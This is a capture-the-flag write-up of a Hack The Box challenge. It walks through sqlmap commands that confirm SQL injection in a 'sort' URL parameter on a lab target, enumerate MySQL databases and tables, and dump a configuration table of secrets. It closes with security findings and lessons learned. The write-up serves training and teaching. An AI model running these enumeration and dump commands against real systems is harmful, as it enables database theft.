root@saranac-lake:~/writeups$ cat sqli_challenge.md
CONFERENCE WRITEUP · HACK THE BOX · WEB / SQLi

7th Annual Saranac Lake
Cybersecurity Conference

SQL Injection and Database Enumeration Challenge — a student and I exploited a vulnerable sort parameter to enumerate a MySQL backend, dump application secrets, and capture the flag.

Difficulty: Easy Category: Web / SQL Injection Outcome: Flag Captured
EXEC

Executive Summary

During the 7th Annual Saranac Lake Cybersecurity Conference, a student and I completed an easy Hack The Box web application challenge focused on identifying and exploiting a SQL injection vulnerability. The objective was to enumerate the target application, identify a vulnerable parameter, extract sensitive information from the backend database, and ultimately obtain the challenge flag.

The exercise demonstrated how improper input validation can lead to complete database compromise and reinforced the importance of secure coding practices, parameterized queries, and least-privilege database permissions.

01

Objective

  • Enumerate exposed network services
  • Identify vulnerabilities within the web application
  • Discover a SQL injection vulnerability
  • Enumerate backend databases
  • Extract sensitive application data
  • Recover application secrets or credentials
  • Obtain the challenge flag
02

Initial Enumeration

Initial reconnaissance identified the following exposed services:

PORT 80HTTP web server
PORT 3306MySQL

The presence of both a web server and a MySQL database suggested a traditional web application backed by a relational database.

While exploring the application, we noticed that employee records could be sorted using a URL parameter:

http://154.57.164.64:31895/?sort=salary

Since sort appeared to influence a database query directly, it became the primary target for testing.

03

From Discovery to Flag

Confirming SQL injection

We used sqlmap to test whether the sort parameter was injectable:

$ sqlmap -u "http://154.57.164.64:31895/?sort=salary"

sqlmap confirmed the parameter was vulnerable, identifying three distinct injection techniques:

Boolean-Based Blind Time-Based Blind Stacked Queries

The most significant finding:

GET parameter 'sort' appears to be MySQL >= 5.0.12 stacked queries injectable

Stacked query support meaningfully raised the impact of the vulnerability, since multiple SQL statements could be executed within a single request.

Enumerating databases

With injection confirmed, we enumerated every database on the server:

$ sqlmap -u "http://154.57.164.64:31895/?sort=salary" --dbms=MySQL --dbs --batch
information_schema
mysql
performance_schema
sys
test
hireplus

The first four are standard MySQL system schemas. hireplus was the application's own database and the clear target.

Enumerating tables

Next, we listed the tables inside hireplus:

$ sqlmap -u "http://154.57.164.64:31895/?sort=salary" --dbms=MySQL -D hireplus --tables

Among the application tables was a configuration table storing application settings — an immediate point of interest.

Extracting configuration data

We dumped the configuration table directly with sqlmap:

$ sqlmap -u "http://154.57.164.64:31895/?sort=salary" --dbms=MySQL -D hireplus -T config --dump

The table followed a classic key-value structure — id, key, value — and the value column held numerous application secrets and configuration values, including what was needed to access the challenge environment.

Recovering the flag

The recovered configuration values ultimately enabled completion of the challenge and retrieval of the flag.

04

Attack Path

Network recon→ App enumeration→ SQLi discovery→ Database enumeration→ Table enumeration→ Config extraction→ Secret recovery→ Flag retrieval
05

Security Findings

SQL Injection HIGH

The application accepted user-controlled input without proper validation or parameterized queries.

  • Complete database enumeration
  • Sensitive information disclosure
  • Credential compromise
  • Potential remote code execution through stacked queries

Excessive Database Privileges HIGH

The database account possessed sufficient permissions to enumerate databases and retrieve sensitive information.

  • Full application data disclosure
  • Exposure of configuration secrets
  • Administrative credential compromise

Sensitive Configuration Storage MEDIUM

Critical application secrets were stored directly within a database table and could be retrieved through SQL injection.

  • Administrative credentials
  • Application secrets
  • API keys
  • Configuration values
06

Lessons Learned

  • Use parameterized queries to eliminate SQL injection vulnerabilities
  • Validate and sanitize all user input before processing
  • Apply the principle of least privilege to database accounts
  • Store application secrets in secure secret management solutions
  • Conduct regular penetration testing and vulnerability assessments
07

Conclusion

This Hack The Box challenge provided an excellent demonstration of one of the most common and impactful web application vulnerabilities: SQL injection.

Beginning with basic reconnaissance, we identified a vulnerable application parameter, confirmed multiple SQL injection techniques, enumerated backend databases, extracted sensitive configuration data, and ultimately recovered the information necessary to obtain the challenge flag.

The exercise highlighted how a single improperly validated input can compromise an entire application and reinforced the importance of secure coding practices, least-privilege database permissions, and continuous security testing. It also served as an outstanding hands-on learning experience during the 7th Annual Saranac Lake Cybersecurity Conference, demonstrating how offensive security techniques can strengthen defensive cybersecurity knowledge.

Status

Objective complete — flag captured via stacked-query SQL injection → database enumeration → config secret extraction.